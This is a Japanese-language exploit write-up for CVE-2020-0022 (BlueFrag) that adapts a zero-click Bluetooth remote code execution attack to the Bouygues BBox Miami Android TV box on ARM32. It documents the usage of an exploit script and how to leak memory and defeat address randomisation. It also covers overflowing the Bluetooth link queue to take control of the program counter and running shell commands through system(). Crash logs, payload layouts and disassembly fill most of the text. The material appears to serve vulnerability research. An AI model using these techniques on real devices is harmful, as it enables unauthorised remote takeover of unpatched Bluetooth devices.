
CVE-2020-0022 脆弱性の悪用(Bouygues BBox Miami、Android TV 8.0 - ARM32 Cortex A9)
########################################################################################
Bouygues BBox Miami における CVE-2020-0022 脆弱性の悪用 Android TV 8.0 - ARM32 Cortex A9 Polo35 作 - 2020/08/24
########################################################################################
"使用法: python polo_exploit.py target_bt_mac [target_adb_ip, shell_command, disable_reboot, verbose]"
########################################################################################
Jan Ruge のスクリプトに基づく CVE-2020-0022 an Android 8.0-9.0 Bluetooth Zero-Click RCE – BlueFrag https://insinuator.net/2020/04/cve-2020-0022-an-android-8-0-9-0-bluetooth-zero-click-rce-bluefrag/
########################################################################################
はじめにとヒント
########################################################################################
このスクリプトは Python bluetooth モジュールを使用して ACL 接続ハンドルを取得します。 そのため、bluetooth ライブラリと pybluez のインストールが必要です(python2 ではバージョン 0.22、python3 では最新版)。
sudo apt-get update sudo apt-get install bluetooth bluez libbluetooth-dev sudo pip install pybluez
シェルコマンドをスクリプトのパラメータとして渡すことができ、そのコマンドは bluetooth デーモンによって system 関数で実行されます。 ROP チェーンが 2 番目のペイロードの最初の 20 バイトを占めるため、シェルコマンドに使用できるのは 104 文字のみです。
例: shell_command = "cat /dev/zero | echo 'Target Exploited' > /sdcard/Download/cve-2020-0022-poc"
このスクリプトは adb を使用して接続を確認し、logcat を検査し、必要に応じてターゲットを再起動できます。 そのためには、パラメータとしてターゲット IP を指定する必要があります。 スクリプトを使用する前に、adb connect でターゲットに接続し、シェルを開いて接続を確認してください。
スクリプトが指示したときに、スマートフォンでターゲットに Bluetooth 接続することで最良の結果が得られます。 エクスプロイトをトリガーするには 30 回以上の試行が必要な場合もありますが、初回で成功することもあります。
########################################################################################
ARM32 でのメモリリーク
########################################################################################
Bouygues BBox Miami は ARM 32 ビット Cortex A9 プロセッサをベースとしています。 ARM64 との違いは、libc の memcpy 関数がアンダーフローしないため、Jan Ruge と同じリークを得ることが不可能な点です。 しかし、脆弱性は存在し、別の方法で悪用可能です。
4 バイトの断片化を持つ l2cap パケットを送信することで、reassemble_and_dispatch 内で長さ 0 の memcpy をトリガーできます。 これにより、エコーの末尾に 4 バイトの未初期化データを得ることができます。
最初のパケット長(以下 mem_offset と呼ぶ)を増やすことで、未初期化メモリを「歩く」ことができます。 同じ mem_offset で 32 回のエコーを取得すると、2 ~ 8 回の悪用可能なエコーが得られます。 エコーは繰り返されるため、同じ mem_offset で 32 回以上エコーを取得する必要はありません。 この方法では、パケットでメモリを埋めるため、パターンを認識し、リーク内のオフセットを見つけるのが容易です。
mem_offset は l2cap パケットの文字数です。 例: mem_offset 184 = 184 文字の l2cap パケット = 368 バイトの l2cap パケット
繰り返しを含むメモリの「歩行」と未初期化データの例:
176: 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 ................................................................ 177: 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 ...........$...............................$.................... 178: 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 ..........$...............................$..................... 179: 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 .........$...............................$...................... 180: 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 ........$...............................$....................... 181: 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 ................................................................ 182: 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 ................................................................ 183: 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 ................................................................ 184: 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 ................................................................ 185: 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 ................................................................ 186: 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 ................................................................ 187: 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 ................................................................ 188: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 ................................................................
mem_offset 180 と 184 で、リトルエンディアンのメモリアドレスが見られます。
a4ce80a3 はアドレス 0xa380cea4 24d280a3 はアドレス 0xa380d224 a4d580a3 はアドレス 0xa380d5a4 9cce80a3 はアドレス 0xa380ce9c 1cd280a3 はアドレス 0xa380d21c 9cd580a3 はアドレス 0xa380d59c
ほぼすべての再起動後に実際のメモリアドレスを見つけられる mem_offset が少なくとも 4 ~ 5 つ存在します。 それらをどのように使用するかは後述します。
########################################################################################
最初のクラッシュの解析
########################################################################################
2 バイトの断片化を持つ l2cap パケットを送信することで、reassemble_and_dispatch 内で長さ -2 の memcpy をトリガーできます。 これにより、2 番目のパケットからの 30 バイトの制御されたデータで、部分パケットの外側にオーバーフローできます。 30 バイトがコピーされるため、最後の 4 バイトを null にした 32 バイトより大きなパケットを送信する必要はありません。
このオーバーフロー方法は、_Z11list_appendP6list_tPv+65 で制御された R0 レジスタを持つ bluetooth デーモンをクラッシュさせることがあります。
HCI: Found link transmit data buffer queue at 0xab90dbc4 HCI: Found SetDataAdvDataSender function at 0x91875b29 HCI: Found bte_hh_evt function at 0x91818429 HCI: Found bluetooth library base address at 0x917a0000 First payload: 0x00: 0xdead0000 | 0x04: 0xdead0001 | 0x08: 0xdead0002 | 0x0c: 0xdead0003 0x10: 0xdead0004 | 0x14: 0xdead0005 | 0x18: 0xdead0006 | 0x1c: 0xdead0007 Second payload: 0x00 : 0xab90db14: 0xdead0008 | 0xab90db18: 0xdead0009 | 0xab90db1c: 0xdead000a | 0xab90db20: 0xdead000b 0x10 : 0xab90db24: 0xdead000c | 0xab90db28: 0xdead000d | 0xab90db2c: 0xdead000e | 0xab90db30: 0xdead000f 0x20 : 0xab90db34: 0xdead0010 | 0xab90db38: 0xdead0011 | 0xab90db3c: 0xdead0012 | 0xab90db40: 0xdead0013 0x30 : 0xab90db44: 0xdead0014 | 0xab90db48: 0xdead0015 | 0xab90db4c: 0xdead0016 | 0xab90db50: 0xdead0017 0x40 : 0xab90db54: 0xdead0018 | 0xab90db58: 0xdead0019 | 0xab90db5c: 0xdead001a | 0xab90db60: 0xdead001b 0x50 : 0xab90db64: 0xdead001c | 0xab90db68: 0xdead001d | 0xab90db6c: 0xdead001e | 0xab90db70: 0xdead001f 0x60 : 0xab90db74: 0xdead0020 | 0xab90db78: 0xdead0021 | 0xab90db7c: 0xdead0022 | 0xab90db80: 0xdead0023 0x70 : 0xab90db84: 0xdead0024 | 0xab90db88: 0xdead0025 | 0xab90db8c: 0xdead0026 | 0xab90db90: 0xdead0027 0x80 : 0xab90db94: 0xdead0028 | 0xab90db98: 0xdead0029 | 0xab90db9c: 0xdead002a | 0xab90dba0: 0xdead002b 0x90 : 0xab90dba4: 0xdead002c | 0xab90dba8: 0xdead002d | 0xab90dbac: 0xdead002e | 0xab90dbb0: 0xdead002f 0xa0 : 0xab90dbb4: 0xdead0030 | 0xab90dbb8: 0xdead0031 | 0xab90dbbc: 0xdead0032 | 0xab90dbc0: 0xdead0033 0xb0 : 0xab90dbc4: 0xdead0034 | 0xab90dbc8: 0xdead0035 ADB: Found interesting crash !!! libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0xdead0003 in tid 3918 (bt_workqueue) DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** DEBUG : Build fingerprint: 'BouyguesTelecom/BouygtelTV/HMB4213H:8.0.0/CALIFORNIE/6.30.13:user/release-keys' DEBUG : Revision: '0' DEBUG : ABI: 'arm' DEBUG : pid: 3871, tid: 3918, name: bt_workqueue >>> com.android.bluetooth <<< DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xdead0003 DEBUG : r0 dead0003 r1 90d13e00 r2 90d13e00 r3 00000000 DEBUG : r4 ab9059f8 r5 90d13e00 r6 00000000 r7 00000000 DEBUG : r8 00000000 r9 904df340 sl 904df338 fp 00000001 DEBUG : ip acf310ec sp 904defd8 lr 918a3131 pc 918c98e2 cpsr a00f0030 DEBUG : DEBUG : backtrace: DEBUG : #00 pc 001298e2 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z11list_appendP6list_tPv+65) DEBUG : #01 pc 0010312d /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z24l2c_link_check_send_pktsP12t_l2c_linkcbP9t_l2c_ccbP6BT_HDR+36) DEBUG : #02 pc 0010298f /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22l2c_link_hci_conn_comphtPh+78) DEBUG : #03 pc 000e5371 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22btu_hcif_process_eventhP6BT_HDR+440) DEBUG : #04 pc 000e6607 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z17btu_hci_msg_readyP13fixed_queue_tPv+42) DEBUG : #05 pc 001290df /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL22internal_dequeue_readyPv+46) DEBUG : #06 pc 0012b535 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL11run_reactorP9reactor_ti+216) DEBUG : #07 pc 0012b431 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z13reactor_startP9reactor_t+44) DEBUG : #08 pc 0012c729 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL10run_threadPv+136) DEBUG : #09 pc 00047f17 /system/lib/libc.so (_ZL15__pthread_startPv+22) DEBUG : #10 pc 0001b1dd /system/lib/libc.so (__start_thread+32)
001298e2 での逆アセンブリ:
.text:0x1298E0 loc_1298E0 ; CODE XREF: list_append:loc_1298CA↑j .text:0x1298E0 LDR R0, [R4,#0x10] => R0 を R4+0x10 から読み込み .text:0x1298E2 LDR R1, [R0] => R1 を R0 から読み込み => 制御されていない場合はクラッシュ!!! .text:0x1298E4 MOVS R0, #8 => R0 に 8 を設定 .text:0x1298E6 BLX R1 => R1 にリンクして分岐 (交換あり) => 制御された R1 に分岐
逆コンパイルにより、R4+0x10 のアドレスのメモリを上書きしていることが示されます。これは、呼び出し "node = list->allocator->alloc(8)" 内のアロケータです。
signed int list_append(list_t *list_ptr, void *data_ptr) { list_t *list = list_ptr; // r4 ... list_node_t node = (list_node_t)list->allocator->alloc(sizeof(list_node_t)); <= list = r4 / allocator = offset 0x10 / alloc = r1 / 8 = r0 / CRASH !!! ... node->data = data_ptr; // r5 ... }
デーモンは、アドレスをロードしようとして R0 レジスタ = dead0003 で LDR R1, [R0] でクラッシュしました。 最初のペイロード + 0xC で R0 を制御できるため、有効なアドレスをそこに配置すれば、LDR R1, [R0] で R1 を制御し、続いて BLX R1 で PC を制御できます。
########################################################################################
リークされたアドレスをオーバーフローしてプログラムカウンタを制御
########################################################################################
mem_offset 180 で最初に見つかったメモリアドレスを使用したオーバーフロー方法により、制御された R1 レジスタへの分岐にクラッシュを移動できます。
HCI: Got ACL connection handle: 0xb
HCI: Getting link transmit data buffer queue pointer...
HCI: Found link transmit data buffer queue at 0xa458dbc4
HCI: Getting bluetooth library function pointers...
HCI: Found SetDataAdvDataSender function at 0x8a4a3b29
HCI: Found bluetooth library base address at 0x8a3ce000
Building the payloads...
First payload:
0x00: 0xdead0000 | 0x04: 0xdead0001 | 0x08: 0xdead0002 | 0x0c: 0xa458dbc4
0x10: 0xdead0003 | 0x14: 0xdead0004 | 0x18: 0xdead0005 | 0x1c: 0xdead0006
Second payload:
0x00 : 0xa458dbc4: 0xdead0007 | 0xa458dbc8: 0xdead0008 | 0xa458dbcc: 0xdead0009 | 0xa458dbd0: 0xdead000a
0x10 : 0xa458dbd4: 0xdead000b | 0xa458dbd8: 0xdead000c | 0xa458dbdc: 0xdead000d | 0xa458dbe0: 0xdead000e
0x20 : 0xa458dbe4: 0xdead000f | 0xa458dbe8: 0xdead0010 | 0xa458dbec: 0xdead0011 | 0xa458dbf0: 0xdead0012
0x30 : 0xa458dbf4: 0xdead0013 | 0xa458dbf8: 0xdead0014 | 0xa458dbfc: 0xdead0015 | 0xa458dc00: 0xdead0016
0x40 : 0xa458dc04: 0xdead0017 | 0xa458dc08: 0xdead0018 | 0xa458dc0c: 0xdead0019 | 0xa458dc10: 0xdead001a
0x50 : 0xa458dc14: 0xdead001b | 0xa458dc18: 0xdead001c | 0xa458dc1c: 0xdead001d | 0xa458dc20: 0xdead001e
0x60 : 0xa458dc24: 0xdead001f | 0xa458dc28: 0xdead0020 | 0xa458dc2c: 0xdead0021 | 0xa458dc30: 0xdead0022
0x70 : 0xa458dc34: 0xdead0023 | 0xa458dc38: 0xdead0024 | 0xa458dc3c: 0xdead0025 | 0xa458dc40: 0xdead0026
0x80 : 0xa458dc44: 0xdead0027 | 0xa458dc48: 0xdead0028 | 0xa458dc4c: 0xdead0029 | 0xa458dc50: 0xdead002a
0x90 : 0xa458dc54: 0xdead002b | 0xa458dc58: 0xdead002c | 0xa458dc5c: 0xdead002d | 0xa458dc60: 0xdead002e
0xa0 : 0xa458dc64: 0xdead002f | 0xa458dc68: 0xdead0030 | 0xa458dc6c: 0xdead0031 | 0xa458dc70: 0xdead0032
0xb0 : 0xa458dc74: 0xdead0033 | 0xa458dc78: 0xdead0034
Prepare to connect to the target via bluetooth with your smartphone
HCI: Spraying second payload at 0xa458dbc4
Connect to the target via bluetooth with your smartphone
HCI: Triggering the exploit with first payload... (1/3)
ADB: Bluetooth deamon crashed (3/20)
ADB: Found interesting crash !!!
07-20 09:28:01.020 20972 21006 F libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0xdead0032 in tid 21006 (bt_workqueue)
07-20 09:28:01.123 21061 21061 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
07-20 09:28:01.123 21061 21061 F DEBUG : Build fingerprint: 'BouyguesTelecom/BouygtelTV/HMB4213H:8.0.0/CALIFORNIE/6.30.13:user/release-keys'
07-20 09:28:01.123 21061 21061 F DEBUG : Revision: '0'
07-20 09:28:01.123 21061 21061 F DEBUG : ABI: 'arm'
07-20 09:28:01.123 21061 21061 F DEBUG : pid: 20972, tid: 21006, name: bt_workqueue >>> com.android.bluetooth <<<
07-20 09:28:01.123 21061 21061 F DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xdead0032
07-20 09:28:01.123 21061 21061 F DEBUG : r0 00000008 r1 dead0033 r2 8970a200 r3 00000000
07-20 09:28:01.123 21061 21061 F DEBUG : r4 a4585c38 r5 8970a200 r6 00000000 r7 00000000
07-20 09:28:01.123 21061 21061 F DEBUG : r8 00000000 r9 891fd340 sl 891fd338 fp 00000001
07-20 09:28:01.124 21061 21061 F DEBUG : ip a66aa0ec sp 891fcfd8 lr 8a4f78e9 pc dead0032 cpsr 200f0030
07-20 09:28:01.228 21061 21061 F DEBUG :
07-20 09:28:01.228 21061 21061 F DEBUG : backtrace:
07-20 09:28:01.228 21061 21061 F DEBUG : #00 pc dead0032
07-20 09:28:01.229 21061 21061 F DEBUG : #01 pc 001298e7 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z11list_appendP6list_tPv+70)
07-20 09:28:01.229 21061 21061 F DEBUG : #02 pc 0010312d /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z24l2c_link_check_send_pktsP12t_l2c_linkcbP9t_l2c_ccbP6BT_HDR+36)
07-20 09:28:01.229 21061 21061 F DEBUG : #03 pc 0010298f /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22l2c_link_hci_conn_comphtPh+78)
07-20 09:28:01.229 21061 21061 F DEBUG : #04 pc 000e5371 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22btu_hcif_process_eventhP6BT_HDR+440)
07-20 09:28:01.229 21061 21061 F DEBUG : #05 pc 000e6607 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z17btu_hci_msg_readyP13fixed_queue_tPv+42)
07-20 09:28:01.229 21061 21061 F DEBUG : #06 pc 001290df /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL22internal_dequeue_readyPv+46)
07-20 09:28:01.229 21061 21061 F DEBUG : #07 pc 0012b535 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL11run_reactorP9reactor_ti+216)
07-20 09:28:01.229 21061 21061 F DEBUG : #08 pc 0012b431 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z13reactor_startP9reactor_t+44)
07-20 09:28:01.229 21061 21061 F DEBUG : #09 pc 0012c729 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL10run_threadPv+136)
07-20 09:28:01.229 21061 21061 F DEBUG : #10 pc 00047f17 /system/lib/libc.so (_ZL15__pthread_startPv+22)
07-20 09:28:01.229 21061 21061 F DEBUG : #11 pc 0001b1dd /system/lib/libc.so (__start_thread+32)
001298e7 での同じ逆アセンブリ:
.text:0x1298E0 loc_1298E0 ; CODE XREF: list_append:loc_1298CA↑j .text:0x1298E0 LDR R0, [R4,#0x10] => R0 を R4+0x10 から読み込み .text:0x1298E2 LDR R1, [R0] => R1 を R0 から読み込み => 制御されていない場合はクラッシュ .text:0x1298E4 MOVS R0, #8 => R0 に 8 を設定 .text:0x1298E6 BLX R1 => R1 にリンクして分岐 (交換あり) => 制御された R1 に分岐 !!! .text:0x1298E8 MOV R1, R0
デーモンは現在、BLX R1 で R1 レジスタ = dead0033 でクラッシュしています。 これは、mem_offset 184 でリークを取得したときに断片化パケットで送信されたパターンです。 これは、mem_offset 180 で見つかった最初のメモリアドレスから - 0xb0 のオフセットにある既知のアドレスを持つ 2 番目のペイロードになります。
これで、bluetooth.marvellberlin.so ライブラリの PC を制御できるようになり、データを含むメモリ内の別の場所が存在し、そのアドレスもわかっています。
シグナル後のレジスタ:
########################################################################################
Bluetooth ライブラリのベースアドレスを取得する
########################################################################################
mem_offset 28 でのリーク方法を使用して、いくつかのメモリアドレスを見つけることができます:0026 : 00002954 74007400 74006600 58a9292b 74006600 74007400 72002e00 58a9292b 00002954 70007000 74007400 58a9292b 74006600 74007400 74006600 58a9292b : ..)Tt.t.t.f.X.)+t.f.t.t.r...X.)+..)Tp.p.t.t.X.)+t.f.t.t.t.f.X.)+ 0027 : 0029546c 00740066 002e0074 a9292b72 00660000 00700066 00740066 a9292b72 0029546c 00740066 00660066 a9292b72 00660000 00740066 002e0074 a9292b72 : .)Tl.t.f...t.)+r.f...p.f.t.f.)+r.)Tl.t.f.f.f.)+r.f...t.f...t.)+r 0028 : 29546c8f 70006600 74006600 292b728f 66000000 74006600 66006600 292b728f 29546c8f 74006600 2e007400 292b728f 66000000 70006600 74006600 292b728f : )Tl.p.f.t.f.)+r.f...t.f.f.f.)+r.)Tl.t.f...t.)+r.f...p.f.t.f.)+r. 0029 : 00660066 00660000 2b728f01 00000000 00660000 00740074 2b728f01 00660066 00660000 00660066 2b728f01 00000000 00660000 00660000 2b728f01 00740074 : .f.f.f..+r.......f...t.t+r...f.f.f...f.f+r.......f...f..+r...t.t 0030 : 66006600 66000000 728f0100 00000000 66000000 66006600 728f0100 74007400 66006600 66000000 728f0100 00000000 66000000 66000000 728f0100 74007400 : f.f.f...r.......f...f.f.r...t.t.f.f.f...r.......f...f...r...t.t.
リーク 29546c8f と 292b728f が確認でき、これらはリトルエンディアンでアドレス 0x8f6c5429 と 0x8f722b29 になります。
これらのアドレスを使用したオーバーフロー手法により、bluetooth.marvellberlin.so 内のデーモンが以下のクラッシュダンプでクラッシュします:
libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0x10 in tid 4151 (bt_workqueue) DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** DEBUG : Build fingerprint: 'BouyguesTelecom/BouygtelTV/HMB4213H:8.0.0/CALIFORNIE/6.30.13:user/release-keys' DEBUG : Revision: '0' DEBUG : ABI: 'arm' DEBUG : pid: 4107, tid: 4151, name: bt_workqueue >>> com.android.bluetooth <<< DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x10 DEBUG : Cause: null pointer dereference DEBUG : r0 00000008 r1 8c35db29 r2 8b006300 r3 00000020 DEBUG : r4 a6405578 r5 8b006300 r6 00000020 r7 ff183456 DEBUG : r8 a6405560 r9 00000006 sl 00000002 fp 8affef70 DEBUG : ip 00001e7e sp 8affef60 lr 8c3b18e9 pc 8c35db3c cpsr 200f0030 DEBUG : DEBUG : backtrace: DEBUG : #00 pc 000d5b3c /system/vendor/lib/hw/bluetooth.marvellberlin.so (ZN4base8internal7InvokerINS0_9BindStateIMN12_GLOBAL__N_125BleAdvertisingManagerImplEFvhhhhPhNS_8CallbackIFvhELNS0_8CopyModeE1EEEEJNS0_17UnretainedWrapperIS4_EEbEEEFvhhhS5_S9_EE3RunEPNS0_13BindStateBaseEOhSJ_SJ_OS5_OS9+19) DEBUG : #01 pc 001298e7 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z11list_appendP6list_tPv+70) DEBUG : #02 pc 0010312d /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z24l2c_link_check_send_pktsP12t_l2c_linkcbP9t_l2c_ccbP6BT_HDR+36) DEBUG : #03 pc 0010477f /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z16l2c_rcv_acl_dataP6BT_HDR+2190) DEBUG : #04 pc 001290df /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL22internal_dequeue_readyPv+46) DEBUG : #05 pc 0012b535 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL11run_reactorP9reactor_ti+216) DEBUG : #06 pc 0012b431 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z13reactor_startP9reactor_t+44) DEBUG : #07 pc 0012c729 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL10run_threadPv+136) DEBUG : #08 pc 00047f17 /system/lib/libc.so (_ZL15__pthread_startPv+22) DEBUG : #09 pc 0001b1dd /system/lib/libc.so (__start_thread+32)
bluetooth.marvellberlin.so ライブラリの .text セクションのオフセット 000d5b3c に到達しました。
.text:0x0D5B28 SetDataAdvDataSender ; DATA XREF: .text:0x0D2B82↑o .text:0x0D5B28 .text:0x0D5B28 PUSH.W {R4-R11,LR} .text:0x0D5B2C SUB SP, SP, #0x1C .text:0x0D5B2E LDR R7, =(off_1A2718 - 0xD5B38) .text:0x0D5B30 ADD.W R11, SP, #0x10 .text:0x0D5B34 ADD R7, PC ; off_1A2718 .text:0x0D5B36 LDR R7, [R7] .text:0x0D5B38 LDR R7, [R7] .text:0x0D5B3A STR R7, [SP,#0x1C-4] .text:0x0D5B3C LDRD.W R10, R7, [R0,#8]
クラッシュは関数の開始直後の 0xd5b3c で発生しているため、見つかったアドレスはこの関数へのポインタです。
この関数はクラス BleAdvertisingManagerImpl の SetDataAdvDataSender であり、btm_ble_multi_adv.cc ファイルの SetData 関数でポインタとして使用されています。
void SetData(uint8_t inst_id, bool is_scan_rsp, std::vector<uint8_t> data, MultiAdvCb cb) override { ... DivideAndSendData(inst_id, data, cb, base::Bind(&BleAdvertisingManagerImpl::SetDataAdvDataSender, base::Unretained(this), is_scan_rsp)); }
これで、bluetooth.marvellberlin.so ライブラリ内の固定位置のアドレスが得られ、このライブラリのベースアドレスを計算できます。
SetDataAdvDataSender 関数へのポインタ(mem_offset 28 で見つかった)からの、ライブラリベースアドレスへの実際のオフセットは 0XD5B29 です。
上記の例では、SetDataAdvDataSender 関数を 0X8C35DB29 で見つけ、このアドレスをオーバーフローさせました。
bluetooth ライブラリのベースアドレスは 0X8C35DB29 - 0XD5B29 = 0X8C288000 でした。
また、同じリークの mem_offset 28 で 0x8C300429 へのポインタも見つけました。
2 つの見つかったアドレスの差は 0x8C35DB29 - 0x8C300429 = 0x5D700 です。
SetDataAdvDataSender が bluetooth ライブラリ内の 0xD5B28 にあることがわかっているので、2 番目に見つかったポインタのアドレスを計算できます: 0xD5B28 - 0x5D700 = 0x78428
bluetooth ライブラリ内の 0x78428 には関数 bte_hh_evt があり、これは btif_hh.cc ファイルの btif_hh_service_registration および btif_hh_execute_service 関数で使用されています。
void btif_hh_service_registration(bool enable) { ... BTA_HhEnable(BTA_SEC_ENCRYPT, bte_hh_evt); ... }
bt_status_t btif_hh_execute_service(bool b_enable) { ... BTA_HhEnable(BTUI_HH_SECURITY, bte_hh_evt); ... }
mem_offset 28 で見つかった 2 つのアドレスは、常に SetDataAdvDataSender 関数では 0xB29 で終わり、bte_hh_evt 関数では 0x429 で終わります。
この方法では、リーク内の 2 つの既知のアドレスのうち 1 つだけを使用して、bluetooth のベースアドレスを見つけることができます。
まとめると、次のように bluetooth ライブラリのベースアドレスを見つけることができます:
0xB29 で終わる SetDataAdvDataSender 関数アドレスが見つかった場合 => オフセット 0xD5B28 を適用0x429 で終わる bte_hh_evt 関数アドレスが見つかった場合 => オフセット 0x78429 を適用########################################################################################
ANDROID ソースコードによるクラッシュ解析
########################################################################################
Android Oreo 8.1 のソースコードは、リンク送信データバッファキューオブジェクト p_lcb->link_xmit_data_q の一部を上書きしていることを示しています。
l2c_rcv_acl_data 関数は tL2C_LCB* p_lcb オブジェクトを作成し、それを l2c_link_check_send_pkts 関数に渡します。この関数はパケットを link_xmit_data_q バッファキューに追加します。
void l2c_rcv_acl_data(BT_HDR* p_msg) { ... tL2C_LCB* p_lcb; ... /* ハンドルに基づいて LCB を見つける / p_lcb = l2cu_find_lcb_by_handle(handle); ... / チャネルステートマシンを通してデータを送信 */ if (rcv_cid == L2CAP_SIGNALLING_CID) { process_l2cap_cmd(p_lcb, p, l2cap_len); ... }
tL2C_LCB* l2cu_find_lcb_by_handle(uint16_t handle) { ... tL2C_LCB* p_lcb = &l2cb.lcb_pool[0];
for (xx = 0; xx < MAX_L2CAP_LINKS; xx++, p_lcb++) { if ((p_lcb->in_use) && (p_lcb->handle == handle)) { return (p_lcb); } } ... }
p_lcb は、l2c_main.cc で定義されている静的オブジェクト l2cb.lcb_pool[0] から取得されます。
// / G L O B A L L 2 C A P D A T A / // tL2C_CB l2cb;
static void process_l2cap_cmd(tL2C_LCB* p_lcb, uint8_t* p, uint16_t pkt_len) { ... case L2CAP_CMD_ECHO_REQ: l2cu_send_peer_echo_rsp(p_lcb, id, p, cmd_len); ... }
void l2cu_send_peer_echo_rsp(tL2C_LCB* p_lcb, uint8_t id, uint8_t* p_data, uint16_t data_len) { ... p_buf = l2cu_build_header(p_lcb, (uint16_t)(L2CAP_ECHO_RSP_LEN + data_len), L2CAP_CMD_ECHO_RSP, id); ... l2c_link_check_send_pkts(p_lcb, NULL, p_buf); }
void l2c_link_check_send_pkts(tL2C_LCB* p_lcb, tL2C_CCB* p_ccb, BT_HDR* p_buf) { ... list_append(p_lcb->link_xmit_data_q, p_buf); ... }
bool list_append(list_t* list, void* data) { ... list_node_t* node = (list_node_t*)list->allocator->alloc(sizeof(list_node_t)); => alloc の呼び出しが私たちの呼び出しに置き換えられます (引数 1 つだけ!!!) ... }
tL2C_LCB 構造体における link_xmit_data_q の定義:
/* リンク制御ブロックを定義します。このデバイスと他のデバイス (つまり BD ADDR) の間に
list_t 構造体の定義:
typedef struct list_t { list_node_t* head; | サイズ 0x4 | オフセット 0x0 list_node_t* tail; | サイズ 0x4 | オフセット 0x4 size_t length; | サイズ 0x4 | オフセット 0x8 list_free_cb free_cb; | サイズ 0x4 | オフセット 0xC const allocator_t* allocator; | サイズ 0x4 | オフセット 0x10 } list_t; | サイズ 0x14
list_node_t 構造体:
struct list_node_t {
struct list_node_t* next; | サイズ 0x4 | オフセット 0x0
void* data; | サイズ 0x4 | オフセット 0x4
}; | サイズ 0x8
そして allocator_t 構造体:
typedef struct {
alloc_fn alloc; | サイズ 0x4 | オフセット 0x0
free_fn free; | サイズ 0x4 | オフセット 0x4
} allocator_t; | サイズ 0x8
typedef struct {
uint16_t event; | サイズ 0x2 | オフセット 0x0
uint16_t len; | サイズ 0x2 | オフセット 0x2
uint16_t offset; | サイズ 0x2 | オフセット 0x4
uint16_t layer_specific; | サイズ 0x2 | オフセット 0x6
uint8_t data[]; | サイズ 0xx | オフセット 0x8
} BT_HDR; | サイズ 0x8 + データ長
l2c_link_check_send_pkts 関数の逆アセンブリ:
